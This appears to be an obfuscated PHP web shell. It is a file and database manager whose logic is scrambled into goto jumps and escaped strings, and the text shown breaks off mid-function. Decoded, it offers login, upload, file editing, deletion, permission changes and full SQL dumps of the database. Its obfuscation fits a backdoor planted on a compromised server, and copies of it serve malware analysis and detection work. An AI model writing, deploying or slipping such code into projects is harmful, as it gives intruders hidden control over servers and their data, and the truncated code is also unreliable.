goto H6crN; n12IB: QskV7: goto SRF6b; qK8Z5: goto N12UZ; goto Pf6LA; GeYet: goto e3xJE; goto PWZBp; RMk31: goto OwkrQ; goto SqFSy; RLysy: Qz9Y9: goto dEcRt; jrB1F: goto LZcr9; goto mFkMu; yoML2: az43z: goto HHsyQ; HHsyQ: $JDGT6 = "\x6f\156\103\x6c\151\143\153\75\42\151\146\x28\x63\157\156\x66\x69\162\x6d\50\47" . JNgiJ("\106\151\154\x65\x20\x73\x65\154\x65\143\164\145\144") . "\72\x20\134\156" . $jTEOW . "\56\x20\134\x6e" . JNGij("\101\x72\145\40\171\157\x75\x20\163\165\x72\x65\x20\x79\157\x75\40\x77\141\x6e\164\40\x74\x6f\40\144\x65\x6c\145\164\145\40\164\150\x69\x73\40\x66\151\x6c\145\77") . "\x27\x29\x29\x20\x64\x6f\143\165\155\145\156\164\56\154\x6f\x63\x61\164\x69\x6f\x6e\x2e\150\x72\x65\146\40\75\x20\47\x3f\x64\x65\x6c\145\x74\x65\x3d" . $jTEOW . "\x26\160\x61\x74\x68\75" . $VLMCB . "\x27\x22"; goto ck4OZ; UgXPB: N12UZ: goto oNB49; K3_fY: JDMaj: goto xbvZn; xbvZn: goto QhMFe; goto MUePO; pr0Tu: goto az43z; goto CuQPv; doyfg: goto IOgrj; goto tCxKk; SRF6b: $kSmbA = $ippCD->query("\x53\110\x4f\x57\x20\x54\101\x42\114\x45\123"); goto qK8Z5; XGxqW: TaBDS: goto tAEMh; AgWJD: goto hyOnM; goto Ys8R1; cuVuj: goto QskV7; goto KrMIE; tyiUD: $ippCD = DOXq1(); goto W2rJl; B9eIQ: ccNra: goto aeDqK; I6YoZ: ATTSi: goto eTW7C; axgiW: goto ATTSi; goto MQ9vW; o5KQy: IOgrj: goto AgWJD; XRbfb: OwkrQ: goto axgiW; PWZBp: QhMFe: goto mhKVI; KrMIE: i1WwG: goto tyiUD; CuQPv: fC1HN: goto ofVTI; IKPvQ: goto L2fOY; goto I6YoZ; uL2dy: goto BXk3s; goto n12IB; Ys8R1: goto Lnepl; goto yoML2; prnWv: if ($GSlrS = mysqli_fetch_row($kSmbA)) { goto WNs2E; } goto RMk31; mFkMu: rt1Xy: goto Nz7Os; tCxKk: SfOKz: goto stkqn; ck4OZ: goto SfOKz; goto d5W3c; MRT1c: goto fFe7D; goto PvcVj; M2_3E: Ru9sZ: goto JI2Bo; Pf6LA: Vxbba: goto jLbrj; nUEJX: ZFdog: goto jrB1F; Kq74_: goto ccNra; goto Vaeaf; XfR9R: OBm34: goto tmc9H; UDjXU: goto i1WwG; goto RLysy; oa5lH: goto gfxTb; goto D_0BY; iVK6L: goto IhKlu; goto o5KQy; uPQNL: goto OBm34; goto TMI2a; H6crN: IhKlu: goto M2_3E; EAI2X: goto ZFdog; goto K3_fY; pTfyr: goto uxdyJ; goto XfR9R; PvcVj: L2fOY: goto nUEJX; SqFSy: WNs2E: goto MRT1c; W2rJl: goto rt1Xy; goto OXxwz; oNB49: hyOnM: goto GeYet; Vaeaf: fFe7D: goto WozIT; rExDt: $U_aEc = ''; goto T36_k; aeDqK: if (!($A7Wqm == "\52")) { goto JDMaj; } goto EAI2X; EfacA: Kb0zv: goto iVK6L; cSiqw: goto fC1HN; goto UgXPB; beDhC: goto tz28Z; goto IKPvQ; D_0BY: LZcr9: goto XfzV2; jLbrj: foreach ($A7Wqm as $zDai2) { goto IoirG; SEIXp: if (!$zdVUV) { goto BS2y7; } goto M0gei; M0gei: goto y2BCi; goto HFeMT; uxHau: $U_aEc .= "\x22\x22"; goto gWQC5; zIEdD: goto nnywk; goto ovUJs; beYjK: eZ03e: goto usUHR; yInl_: neack: goto OKcqC; G38oA: goto shDj8; goto JZ6NV; eC3JB: r38i8: goto qBwz9; qMHHn: $U_aEc .= "\x29" . $DiaCN; goto A1V0Y; Fo1GS: goto SaVby; goto VeRY0; EByvp: $iF51U = 0; goto vH3FP; w4Frd: nM7Uw: goto tNTYJ; oyD9T: SAege: goto JPtMw; Ydx56: goto uri7w; goto ZH7A3; x5gjK: z_mYz: goto beYjK; JuYqS: XV1Vx: goto rXEYG; Ke50E: $X0dYM = mysqli_fetch_row($ippCD->query("\x53\110\x4f\x57\40\103\122\x45\101\124\105\x20\x54\x41\x42\x4c\x45\x20" . $zDai2)); goto s15ni; x0BCK: $U_aEc .= "\104\122\117\x50\40\x54\x41\x42\x4c\105\40\111\x46\x20\105\x58\111\123\x54\123\40\140" . $zDai2 . "\x60" . $DiaCN; goto RP67s; IoirG: goto cPgy_; goto OF5BM; E6Rkp: cenpE: goto x0BCK; M4Trk: if (!isset($GSlrS[$iF51U])) { goto DBMov; } goto vLptY; fx0kD: goto e4iBx; goto RvULJ; D4Iv8: $GSlrS[$iF51U] = str_replace("\12", "\134\x6e", $GSlrS[$iF51U]); goto Ljebg; b1cwS: $U_aEc .= "\xa\xa\xa"; goto cmYu5; FZP6h: rcpwq: goto jHIJM; eAGE5: goto nItE6; goto JuYqS; jHh0n: goto BDPlb; goto lqxVQ; gfXXF: goto G2Jkf; goto XgJ3_; gSM51: raad5: goto SEIXp; ovUJs: hKFFS: goto J5Cd4; qBwz9: o69H1: goto aiNdz; b0ouQ: goto hKFFS; goto E6Rkp; EcXhp: $U_aEc .= "\x22" . $GSlrS[$iF51U] . "\x22"; goto utd0X; xgtV1: eMSNb: goto uxHau; H8Nlx: TAvmt: goto bAkan; RP67s: goto xjHg3; goto zJkK4; usUHR: goto PvlWu; goto e4pQb; hQ4GB: d1e2b: goto jGN_G; Rj3LV: I5u3G: goto M4Trk; V87gl: goto VmI0A; goto M3Eef; jbveK: $U_aEc .= "\54"; goto JkvO5; UWzuB: fF1LH: goto NKZrZ; gLXRy: KiqwW: goto zIEdD; JPtMw: y2BCi: goto eAGE5; OF5BM: oYL0K: goto QgUoz; kybkC: f05t_: goto SBA66; VK63r: v3JJa: goto B35JZ; zsS2i: goto eZ03e; goto GMyP9; OjzaB: xjHg3: goto Ke50E; IKIgm: ZNvtH: goto gmMx5; dyMbl: goto SAege; goto dLW6g; zU2C3: d1wkh: goto qL7Hm; b9K7d: goto neack; goto n27FX; ZH7A3: cZ6qY: goto o8GLw; Ldn4N: $kSmbA = $ippCD->query("\x53\x45\x4c\105\x43\124\x20\52\40\x46\122\117\x4d\40" . $zDai2); goto rRJsV; U_IOX: SaVby: goto EcXhp; vTzBD: goto YRcdh; goto xgtV1; Rtzj9: gQDPD: goto qMHHn; o8GLw: $U_aEc = preg_replace("\x23\x41\125\124\x4f\137\x49\116\103\122\105\115\105\116\124\75\133\x5c\144\135\53\x20\x23\151\163", '', $U_aEc); goto nrta6; vH3FP: goto v3JJa; goto JMRoc; NKZrZ: if ($iF51U < $E8qMA) { goto KiqwW; } goto QnRoP; GDF6L: cPgy_: goto Ldn4N; sXlJ8: BZX4e: goto Ur9JV; utd0X: goto r38i8; goto O9XXs; ed8DH: ISvli: goto Fo1GS; R3HYh: goto mVdlV; goto FZP6h; dLW6g: uMuPk: goto OCULi; gJc3Z: goto cenpE; goto UWzuB; b03md: if ($pTb54 < $E8qMA) { goto ZAjD3; } goto zsS2i; L4rHQ: goto p2MgE; goto lwTM1; ulbch: nItE6: goto U1UxM; HuoEX: DWfAQ: goto YL1dW; lwTM1: Q1ngX: goto FxNFf; MDhuT: lq1t6: goto kybkC; Ljebg: goto I5u3G; goto sx6RS; aiNdz: goto uMuPk; goto zU2C3; XgJ3_: g5ohi: goto b1cwS; Yvsa0: msIZk: goto Yfc3j; uIDP1: goto cZ6qY; goto c0PCG; Ur9JV: $U_aEc .= $X0dYM[1] . $DiaCN; goto OAY1v; azHoV: goto uNioG; goto GDF6L; nrta6: goto msIZk; goto VK63r; QnRoP: goto ZNvtH; goto gLXRy; OKcqC: goto YCXRl; goto x9eg0; QgUoz: $E8qMA = mysqli_num_fields($kSmbA); goto gJc3Z; Ye3ZA: goto wo83z; goto Yvsa0; GMyP9: ZAjD3: goto llnTy; e4pQb: shDj8: goto S9SF6; llnTy: goto qme4z; goto gSM51; nqek1: nnywk: goto SYzfs; J5Cd4: $U_aEc .= "\111\116\x53\105\122\124\x20\x49\116\124\x4f\x20\x60" . $zDai2 . "\x60\40\x56\101\114\125\x45\x53\50"; goto LMGfT; fezVp: uri7w: goto ed8DH; jHIJM: goto o69H1; goto Ydx56; rXEYG: goto DWfAQ; goto V87gl; AUMYM: wo83z: goto fx0kD; sx6RS: mB8b_: goto IKIgm; OQspj: aZOax: goto uha4l; OCULi: if ($iF51U < $E8qMA - 1) { goto ICxMU; } goto jHh0n; FxNFf: $pTb54++; goto b9K7d; RvULJ: goto mB8b_; goto ulbch; M9JOA: uhjUf: goto w4Frd; U1UxM: $pTb54 = 0; goto G38oA; SYzfs: $GSlrS[$iF51U] = addslashes($GSlrS[$iF51U]); goto azHoV; QxIfC: YRcdh: goto x8BXo; cmYu5: goto uhjUf; goto yInl_; tNTYJ: goto lq1t6; goto U_IOX; JZ6NV: mVdlV: goto jbveK; O9yjj: goto qDtEN; goto odJis; odJis: eV_j9: goto b0ouQ; jINln: qDtEN: goto gfXXF; uha4l: goto Q1ngX; goto OjzaB; DVXvl: ug2XY: goto vTzBD; HFeMT: BS2y7: goto uIDP1; OAY1v: goto raad5; goto Rj3LV; YL1dW: goto d1wkh; goto x5gjK; n27FX: bfS5T: goto EByvp; O9XXs: VmI0A: goto jINln; zJkK4: qme4z: goto HuoEX; S9SF6: YCXRl: goto L4rHQ; RUsz2: goto yACuL; goto nqek1; qL7Hm: if ($GSlrS = mysqli_fetch_row($kSmbA)) { goto eV_j9; } goto O9yjj; s15ni: goto BZX4e; goto fezVp; bAkan: goto g5ohi; goto eC3JB; yMdcf: goto fF1LH; goto MDhuT; I8JRc: goto eMSNb; goto oyD9T; x9eg0: goto z_mYz; goto sXlJ8; gmMx5: goto gQDPD; goto Rtzj9; c0PCG: yACuL: goto DVXvl; LMGfT: goto bfS5T; goto M9JOA; Yfc3j: goto TAvmt; goto dyMbl; JkvO5: goto d1e2b; goto ixI3v; vLptY: goto ISvli; goto k2Nrk; JMRoc: G2Jkf: goto OQspj; jGN_G: BDPlb: goto RUsz2; rRJsV: goto oYL0K; goto QxIfC; ixI3v: PvlWu: goto H8Nlx; B35JZ: e4iBx: goto yMdcf; lqxVQ: ICxMU: goto R3HYh; M3Eef: p2MgE: goto b03md; x8BXo: $iF51U++; goto Ye3ZA; k2Nrk: DBMov: goto I8JRc; VeRY0: uNioG: goto D4Iv8; A1V0Y: goto XV1Vx; goto hQ4GB; gWQC5: goto rcpwq; goto AUMYM; SBA66: } goto EfacA; MUePO: uxdyJ: goto rExDt; TMI2a: BXk3s: goto beDhC; eTW7C: tz28Z: goto pTfyr; WozIT: $A7Wqm[] = $GSlrS[0]; goto doyfg; Nz7Os: $DiaCN = "\73\40\12\40\x20\12"; goto Kq74_; XfzV2: $A7Wqm = array(); goto cuVuj; u9WmK: e3xJE: goto prnWv; dEcRt: fclose($wiK9i); goto pr0Tu; iD9_w: goto Qz9Y9; goto XGxqW; mhKVI: $A7Wqm = is_array($A7Wqm) ? $A7Wqm : explode("\54", $A7Wqm); goto uL2dy; T36_k: goto Vxbba; goto u9WmK; d5W3c: Lnepl: goto XRbfb; stkqn: return $jTEOW . "\72\40" . wJ_30("\144\x6f\x77\156\154\157\141\144", $VLMCB . $jTEOW, JngIJ("\104\157\x77\156\154\157\141\x64"), JnGij("\104\157\167\156\154\157\x61\x64") . "\x20" . $jTEOW) . "\40\x3c\141\40\150\162\145\146\75\x22\x23\x22\40\x74\151\x74\x6c\145\x3d\42" . jNgIJ("\x44\x65\x6c\x65\x74\145") . "\x20" . $jTEOW . "\x22\40" . $JDGT6 . "\76" . jngIj("\x44\145\x6c\145\164\x65") . "\x3c\x2f\141\x3e"; goto cSiqw; tAEMh: $jTEOW = gmdate("\x59\x2d\x6d\55\x64\x5f\110\55\x69\55\163", time()) . "\56\163\x71\154"; goto uPQNL; tmc9H: $wiK9i = fopen($jTEOW, "\x77\53"); goto SY6DM; ofVTI: } goto srlNX; HJCNW: $_FILES["\x75\160\154\x6f\x61\144"]["\156\x61\x6d\x65"] = str_replace("\x25", '', $_FILES["\165\160\x6c\x6f\x61\144"]["\156\x61\155\x65"]); goto ZEoAr; KHR3s: sCq4Q: goto FEJIQ; oPTkP: DMUv7: goto qbUcF; mSRdT: QhZ5Z: goto zjnAa; toDEE: ZmOaO: goto Ia3W2; rfHs3: goto WQgy1; goto l5BE5; imb0P: s_FmD: goto ifZ6R; TdOu0: echo "\42\x3e\xd\12\11\x9\x20\x20\40\x20\40\x20\40\x20\x20\x9\x9\40\40\x20\40\40\40\40\x20\40\74\57\146\x6f\162\155\x3e\xd\12\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\xd\xa\11\x9\40\x20\40\40\40\40\x20\x20\x20\11"; goto rHl66; e0VXy: bTZ9j: goto qkmzo; DFKA8: sTtqL: goto Lpy85; ppNiX: $VLMCB = empty($_REQUEST["\160\x61\164\150"]) ? $VLMCB = realpath("\x2e") : realpath($_REQUEST["\160\x61\164\x68"]); goto gVHRY; Hnh0C: Pq2t_: goto A3XyA; LFWUP: RThCo: goto qdT_7; DDJPQ: D5kXa: goto lRmiJ; mp1c2: goto qMatB; goto HWwd9; uHVIz: wzfxQ: goto fEPZU; EZqGn: wuhwR: goto Q0UVl; oMbDC: $bECPR = explode("\x20", microtime()); goto Ypv15; Amch0: function JnGIj($E3nea) { goto Hmhf3; XAySA: goto XqPyy; goto DZcGC; uUZIr: goto hexjm; goto OA4cj; Ej17J: goto hBghX; goto drft2; YRqJ5: goto wbLHI; goto DFyU8; JYzk2: goto sdjQn; goto XvSJT; AEfk_: return $E3nea; goto JYzk2; iFVnv: dVGr9: goto fmncG; hxgZ1: qf9tT: goto VJvmx; DZcGC: j97UU: goto VcWGS; OA4cj: ds92J: goto z1Zl3; hMHCq: if (!isset($Vd7NW[$E3nea])) { goto kJEBT; } goto l_bqv; Q53eP: goto GGq02; goto uUZIr; GQWVA: hBghX: goto AEfk_; Hmhf3: goto qf9tT; goto hxgZ1; XvSJT: sdjQn: goto Q53eP; z1Zl3: return $Vd7NW[$E3nea]; goto XAySA; DFyU8: hexjm: goto iFVnv; drft2: XqPyy: goto smPUA; okeH7: wbLHI: goto hMHCq; MS8We: kJEBT: goto Ej17J; fmncG: goto ds92J; goto okeH7; VJvmx: global $Vd7NW; goto YRqJ5; smPUA: GGq02: goto zwNPP; l_bqv: goto dVGr9; goto MS8We; zwNPP: goto j97UU; goto GQWVA; VcWGS: } goto K9D7V; TJuTH: echo "\42\x3e\15\xa\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\74\x74\145\170\164\x61\x72\145\x61\40\x6e\x61\x6d\x65\x3d\42\x6e\145\167\x63\x6f\x6e\164\145\x6e\164\42\40\x69\144\75\42\156\145\x77\143\x6f\x6e\164\145\x6e\x74\42\40\x63\x6f\154\163\x3d\42\x34\x35\42\x20\162\157\x77\163\75\42\61\65\42\x20\x73\x74\x79\154\x65\x3d\42\x77\x69\144\x74\x68\x3a\71\71\45\x22\x20\163\160\x65\154\154\143\x68\145\143\153\75\x22\x66\x61\x6c\163\145\42\76"; goto KVRD0; lIZdJ: goto Bj0fl; goto Wk7XT; tzZyu: goto bCJwE; goto PeOLL; mZQ6v: aavoN: goto ch9KU; TBvI2: goto ZmOaO; goto NO4kO; sk55r: dcoRu: goto f5RkB; mAsEC: goto KR1Yl; goto Ijokv; T5qpm: goto a8rub; goto mrbMo; sLMjo: WLSGv: goto rDdV5; FwjQ5: goto QsnnP; goto JexKn; gOOIN: RLmni: goto iklBs; e9Y2_: echo $nguOO; goto f9bPV; vSAdc: echo $VLMCB; goto vVMhB; mKz36: goto Ix6Vi; goto Ngm6D; vMa3P: goto hWAvT; goto JB3Bk; tQyfm: hLLmO: goto ZbyZi; chu_z: kIHDP: goto FRyP3; XKwRT: ruGmV: goto fOAvt; bw4F3: if (!isset($_GET["\146\155\137\x63\x6f\x6e\146\x69\x67\137\x64\x65\154\x65\164\145"])) { goto Ghorh; } goto X26jM; CZCdb: goto LQJQn; goto wbFw4; WuCVo: fXeWw: goto NUldq; WXuuv: goto D5GSt; goto ybN1O; vaylr: mxVk5: goto aPV8B; phnm0: goto ncqSF; goto VO3R3; suWIh: goto SBJNX; goto CgUWX; Dc4xa: goto cWnWL; goto t0U9a; GVxAc: goto InST_; goto qTT1g; R3xFC: fBMjS: goto Hedwp; N53mw: UudAk: goto SxzOh; Uk_h8: function ktHR0($Ztr5O, $y17vh, $XX_I0 = '') { goto sAaFk; AzZte: return $Y2HeO; goto nlKEh; ueGYa: rpkqP: goto iHPpG; ls9gl: pwQ8Y: goto j5VnI; J3KH3: SBKV2: goto gWW2m; E_2OO: DNhfu: goto iUwVp; iHPpG: goto DNhfu; goto ls9gl; gWW2m: foreach ($Ztr5O as $x76pw) { goto Rsjyw; c3TUs: $Y2HeO .= "\x3c\x6f\x70\164\151\157\x6e\40\x76\141\154\165\145\75\x22" . $dR3b2 . "\x22\x20" . ($XX_I0 && $XX_I0 == $dR3b2 ? "\x73\x65\154\x65\x63\164\145\x64" : '') . "\76" . $dR3b2 . "\74\57\x6f\x70\164\x69\157\156\76"; goto emaxv; cKAc_: COXFE: goto QyeOY; x5tBU: goto ByhZC; goto hSF20; hSF20: Wbdk9: goto c3TUs; QjPIG: i02lr: goto fC1qD; Yq5ei: $dR3b2 = $x76pw[$y17vh]; goto dGDVd; emaxv: goto i02lr; goto oNmIG; Rsjyw: goto q7Iuw; goto QjPIG; dGDVd: goto Wbdk9; goto S2rCm; oNmIG: q7Iuw: goto Yq5ei; S2rCm: ByhZC: goto cKAc_; fC1qD: l7ve_: goto x5tBU; QyeOY: } goto ueGYa; P3xHl: goto O5NW6; goto J3KH3; iUwVp: kyOHM: goto P3xHl; AHafX: O5NW6: goto AzZte; sAaFk: goto SBKV2; goto AHafX; nlKEh: goto pwQ8Y; goto E_2OO; j5VnI: } goto fZTCP; LBsRa: Jj_ss: goto V4opb; Zptt2: P_c5J: goto kPyQ7; xwFjy: goto jgTp6; goto a2GIp; K9D7V: goto JSRfe; goto Sgifp; suX7T: $PHgnI = $YJS26; goto JCmqK; qQCzD: goto WNLOM; goto YCNGW; nxQ3N: qbuIz: goto Lilnh; Sldk3: if (!(!empty($_REQUEST["\x6d\x6b\x66\x69\x6c\145"]) && !empty($C0tA4["\x6e\145\167\137\146\x69\154\x65"]))) { goto NFrG5; } goto wJNno; Q7Sn5: goto nV8WO; goto w0871; CBzlA: N1w0u: goto QMyJm; zzDAC: goto iVD6m; goto OiR9D; MAu7s: ORLF7: goto mCLFi; e38yN: echo "\15\12\x9\11\x20\40\40\x20\40\x20\x20\x20\40\x9\74\57\x74\x64\76\xd\xa\15\12\11\x9\x20\x20\x20\40\40\40\40\x20\x20\x9\x3c\57\x74\162\76\15\12\xd\xa\x9\11\x20\x20\40\40\40\x20\x20\x20\x20\x3c\x2f\x74\141\142\x6c\145\76\15\xa\xd\12\x20\40\x20\40\74\x2f\x74\x64\x3e\15\12\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\15\12\x20\x20\40\40\74\164\144\x20\143\x6c\141\163\x73\x3d\42\162\x6f\x77\63\42\76\15\12\xd\xa\11\x9\40\40\x20\x20\40\40\40\x20\40\74\x74\x61\142\154\145\x3e\15\12\xd\xa\11\x9\x20\x20\40\40\40\x20\40\x20\40\x3c\x74\162\x3e\xd\xa\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\xd\xa\x9\11\40\40\x20\40\40\x20\40\40\40\x3c\164\x64\x3e\xd\xa\xd\xa\11\x9\x20\x20\40\x20\40\x20\40\x20\x20"; goto IJcRF; yc1EE: gb_Sf: goto eW9kk; kKtcT: goto DbCmm; goto eoNbw; e8LPg: goto WbpEQ; goto vzXO5; woGaN: goto wB5Iu; goto plLvn; rE1At: RZaEH: goto LTlQP; DzNov: goto ZvrN9; goto K3M2Q; WFlFu: zVwqV: goto adEhT; srvnm: $O10i3 .= JnGIj("\x46\x69\154\145\40\165\x70\x64\141\164\145\x64"); goto xwFjy; hsLND: W1JiB: goto bOhQm; f9bPV: goto EJolE; goto VJbQT; QqeFe: Rmpbp: goto Eecr7; ppYsW: EU8LZ: goto kHqLS; pA2r6: if (isset($_POST["\x6c\157\147\151\x6e"]) && isset($_POST["\160\x61\x73\x73\x77\157\x72\144"])) { goto bPPVy; } goto NU_Hf; jcOhQ: tDqjM: goto Cpq0I; dbVIs: goto GOe5Q; goto UrOuu; e17uq: goto UYqQh; goto W5NW3; iST4_: goto wzYxj; goto LEm4R; p2s_J: GQOD3: goto b_vNK; JMeYj: goto wiSzH; goto S6HEx; UhaEW: goto QrgnQ; goto One9y; RT9wu: goto H0aBN; goto QONlg; bgsmC: M0mmw: goto LXZSa; nUEbg: goto hueds; goto Mb3UP; J0jZL: YEfLB: goto z2NsG; F1Eak: goto kIHDP; goto L233h; uL2kg: echo !empty($_POST["\155\141\163\153"]) ? $_POST["\155\141\x73\x6b"] : "\52\x2e\x2a"; goto WEfEi; Xnp1Y: y7G7D: goto U1HYq; a0HYX: goto dwVrn; goto rXjb5; Bn0CL: $O10i3 .= JnGIj("\106\151\x6c\x65\x20\165\x70\x64\141\x74\145\x64"); goto VOvvU; VKSpE: wZlv8: goto zhT91; bJwn3: goto g469p; goto NnH_E; b68Yd: sYfpm: goto Oo8rc; yDVz_: echo gffW9("\160\x68\160"), GFFW9("\163\x71\154"); goto FAbLR; brVFd: Mx11f: goto DmMia; pz9EJ: voaug: goto Xp3cD; ZecK5: I8YBO: goto fnFa_; h5tHY: if (!empty($_COOKIE["\146\x6d\x5f\143\x6f\156\146\151\147"])) { goto GVqSB; } goto Wr4r_; xZ_k2: goto BPgOj; goto hvxNP; YOEV3: if (!(!empty($_FILES["\x75\160\154\x6f\141\x64"]) && !empty($C0tA4["\165\x70\154\x6f\141\144\x5f\155\x79\146\151\x6c\x65"]))) { goto aJuwU; } goto TK3pb; YIHIH: goto q5Z1O; goto xOh5w; Nd2iv: goto ZHSHO; goto Vn8KQ; R42gZ: goto X7ONl; goto LXd5o; GXBhy: goto hMZCg; goto B0d4z; JZHEY: echo "\42\40\57\76\15\xa\15\12\x9\11\40\40\x20\40\40\x20\40\x20\x20\11\x3c\x69\x6e\x70\165\x74\x20\164\x79\x70\145\x3d\x22\x66\x69\x6c\145\x22\40\x6e\x61\x6d\145\75\42\x75\x70\154\x6f\x61\144\x22\40\x69\x64\75\x22\165\x70\x6c\157\x61\144\x5f\150\x69\x64\x64\x65\x6e\x22\x20\x73\164\171\154\x65\x3d\42\x70\157\x73\x69\x74\151\x6f\x6e\72\40\141\142\x73\157\154\165\164\145\x3b\40\x64\x69\x73\x70\x6c\x61\x79\72\x20\x62\x6c\x6f\x63\x6b\73\x20\157\x76\145\x72\146\x6c\157\x77\x3a\40\x68\151\144\144\145\156\x3b\40\167\151\x64\164\x68\x3a\x20\60\73\x20\150\145\x69\x67\150\164\72\x20\60\73\x20\142\157\x72\x64\x65\162\72\40\60\x3b\40\x70\x61\x64\144\151\156\147\72\40\x30\x3b\x22\40\x6f\156\x63\x68\x61\x6e\x67\145\x3d\x22\144\157\143\x75\155\x65\156\164\56\147\145\x74\105\154\145\155\145\x6e\164\102\171\111\144\x28\x27\165\x70\x6c\x6f\x61\x64\x5f\x76\x69\163\151\142\154\145\47\51\56\x76\141\154\165\x65\x20\x3d\40\x74\x68\151\x73\56\x76\141\x6c\x75\145\73\42\40\x2f\x3e\xd\12\15\12\11\x9\x20\40\x20\x20\40\40\x20\x20\40\x9\74\x69\x6e\x70\165\164\40\x74\x79\160\145\75\42\x74\x65\x78\x74\42\40\162\145\x61\x64\157\x6e\x6c\171\x3d\x22\x31\x22\40\x69\x64\75\42\165\x70\x6c\x6f\141\x64\x5f\x76\x69\x73\x69\142\x6c\x65\42\x20\160\154\141\x63\145\x68\157\154\x64\x65\162\75\42"; goto ieu9D; qtDSe: if (empty($_REQUEST["\162\x69\x67\x68\164\163"])) { goto tSZ6V; } goto SkVua; d2fDu: setcookie("\146\155\x5f\143\157\x6e\x66\151\147", serialize($C0tA4), time() + 86400 * $fahGj["\x64\141\x79\163\137\141\x75\164\150\157\x72\x69\x7a\141\x74\x69\157\156"]); goto n24vG; bSlcA: pShAm: goto iZaJp; vfIUF: goto XCy8o; goto qyCmj; Je8OM: $O10i3 .= jngiJ("\105\x72\162\x6f\x72\x20\x6f\x63\x63\165\x72\162\145\144"); goto WXXkr; t4CG3: C7ByM: goto wVU83; NvQ5I: UcyuD: goto HA7o9; mwR6S: goto gozAr; goto FIT1O; ML0SC: nbwzn: goto qygJe; hVh0Q: SbCFl: goto oaAEC; x_Gne: NGmHg: goto V6RR4; Q9LGi: goto Y4O10; goto nfiu6; l_Vr0: AYwEz: goto D1qcO; yo6rY: goto PBs5D; goto sY2SZ; y3iTU: goto YwjEM; goto EZqGn; mWYA3: YwjEM: goto LWbf9; XZC5h: f0Cdt: goto h5tHY; h1Htk: function WJ_30($IqgFS, $mbeto, $iGexB, $KpZuI = '') { goto FKRdH; btymp: Q48VK: goto TTtMT; AYxd1: vFOZS: goto nWzvF; MGMMo: RZxQc: goto oUnvV; OR6Rv: goto vFOZS; goto FZurr; ZOTJD: ie5c9: goto CmUyJ; nWzvF: return "\46\156\142\163\x70\x3b\46\x6e\142\163\x70\73\74\141\40\150\x72\x65\x66\75\42\77" . $IqgFS . "\75" . base64_encode($mbeto) . "\x22\x20\x74\x69\x74\x6c\x65\x3d\42" . $KpZuI . "\x22\76" . $iGexB . "\x3c\x2f\141\x3e"; goto gXz19; oUnvV: $KpZuI = $iGexB . "\40" . basename($mbeto); goto whyP1; kbJRU: if (empty($KpZuI)) { goto vMzgG; } goto uZHSk; TTtMT: dbiJJ: goto OR6Rv; uZHSk: goto dbiJJ; goto iJCmp; iJCmp: vMzgG: goto q9p5i; gXz19: goto ie5c9; goto MGMMo; FZurr: qFx6n: goto kbJRU; q9p5i: goto RZxQc; goto ZOTJD; whyP1: goto Q48VK; goto btymp; FKRdH: goto qFx6n; goto AYxd1; CmUyJ: } goto RTDEZ; TlsWu: goto bI3pc; goto bT1Es; aCssL: gDuas: goto Gu7Dd; zFK19: jvFJ9: goto cZAqR; PsPES: echo "\74\57\x74\x65\170\164\141\x72\145\141\76\15\12\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x3c\x69\x6e\x70\x75\x74\40\164\x79\160\x65\75\x22\163\165\142\155\x69\164\x22\40\x6e\x61\x6d\145\75\x22\x73\x61\166\x65\42\x20\166\141\x6c\165\x65\x3d\x22"; goto KFkkT; rDVlk: echo $nguOO; goto wqGxf; aiQzt: function oLy7e($jTEOW, $Pn1jp = false) { goto c04gt; a5IyH: kbwQB: goto o7GP_; LtAdz: goto GU5q4; goto W7WdS; BcZqf: if (!(($BAJIa & 0x6000) == 0x6000)) { goto orQ1J; } goto xkUj5; PwMS7: Etzox: goto YZ4Ee; NMvy0: goto x8dQk; goto g6MCY; ck_Yh: w_fa3: goto xWECz; xkxeX: c7HzI: goto TmgKN; ToybW: Z0Pt2: goto VIe9p; qbZnO: goto ESOjr; goto IYlv5; Ov2uK: $rF_A2 = "\x2d"; goto jgAzS; usnHg: goto QvK82; goto xkxeX; x0Ovz: GU5q4: goto pI01a; kp_qI: Spg2I: goto iaCGk; XcpKE: $rF_A2 = "\143"; goto GWNP6; CC9Of: S1gF7: goto pwXwz; SQO2Y: FbeWZ: goto o4bkY; g6MCY: cH352: goto Ov2uK; KS9KC: xY7or: goto hDppJ; c04gt: goto w_fa3; goto SQO2Y; h5IlV: goto DcHX7; goto n6Roo; y0ewK: i8ZOv: goto YqEdy; KTYzp: hd4Rm: goto RyWKQ; fIi8n: if (!(($BAJIa & 0x2000) == 0x2000)) { goto f7haR; } goto SD_it; eI42p: goto Spg2I; goto CRioV; dnDxA: goto qv9Pu; goto mYYmZ; uYD6p: $rF_A2 .= $BAJIa & 0x20 ? "\162" : "\55"; goto VN5xD; MvfU5: goto NyUo1; goto G7_Ha; b5qov: f7haR: goto XSpUV; R21cO: goto ZTFdn; goto sq4QT; YZ4Ee: $rF_A2 = "\x73"; goto MvfU5; PVnQd: ehjwB: goto dG7Tq; xkUj5: goto v9CSu; goto M7BV3; sYQk9: mu33R: goto BC8TF; TOJxN: LSwSy: goto zXVu8; wzToT: ebM6J: goto qbZnO; oDgSA: goto JV2iS; goto VOUA2; gY2jx: jhc22: goto HoV1W; pI01a: $rF_A2 = "\160"; goto Wmhm1; XHboQ: if (!(($BAJIa & 0x1000) == 0x1000)) { goto Q53wZ; } goto kK21r; n6Roo: KvTP5: goto l8tnA; zXVu8: goto ehjwB; goto PwMS7; YqEdy: $rF_A2 = "\x64"; goto cYoNV; X40TX: goto ChV_5; goto VNs10; w1VWU: swHCV: goto P1SVa; trfpM: goto Z0Pt2; goto wzToT; Yq1UX: goto HFKdZ; goto yWZxm; MYVPd: $rF_A2 .= $BAJIa & 0x4 ? "\162" : "\x2d"; goto tDIF7; de2GS: z_ydL: goto sFtrf; W7WdS: JV2iS: goto DB8Jv; bfl1K: goto PPbxH; goto F7Zcd; XSpUV: goto TmRtC; goto cC2jf; y5oz4: NyUo1: goto kRjs8; RyWKQ: goto mu33R; goto mw81H; FXMQH: goto JlATQ; goto KS9KC; 